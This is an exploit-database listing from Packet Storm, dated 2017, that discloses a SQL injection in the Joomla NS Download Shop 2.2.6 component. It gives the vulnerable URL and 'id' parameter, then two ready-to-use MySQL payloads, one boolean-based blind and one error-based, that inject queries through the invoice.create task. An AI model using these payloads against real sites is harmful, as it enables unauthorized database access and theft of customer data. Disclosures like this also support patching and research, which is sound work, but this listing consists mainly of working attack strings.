Joomla NS Download Shop 2.2.6 SQL Injection

2017-09-29T00:00:00
ID PACKETSTORM:144435
Type packetstorm
Reporter Ihsan Sencan
Modified 2017-09-29T00:00:00

Description

                                        
                                            `# # # # #   
# Exploit Title: Joomla! Component NS Download Shop 2.2.6 - SQL Injection  
# Dork: N/A  
# Date: 29.09.2017  
# Vendor Homepage: https://nswd.co/  
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/ns-downloadshop/  
# Demo: https://ds.nswd.co/  
# Version: 2.2.6  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:  
#   
# http://localhost/[PATH]/index.php?option=com_ns_downloadshop&task=invoice.create&id=[SQL]  
#   
# Parameter: id (GET)  
# Type: boolean-based blind  
# Title: MySQL >= 5.0 boolean-based blind - Parameter replace  
# Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT (CASE WHEN (5078=5078) THEN 5078 ELSE 5078*(SELECT 5078 FROM INFORMATION_SCHEMA.PLUGINS) END))  
#   
# Type: error-based  
# Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)  
# Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x716b626a71,(SELECT (ELT(2458=2458,1))),0x7178627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)  
#   
# Etc..  
# # # # #  
`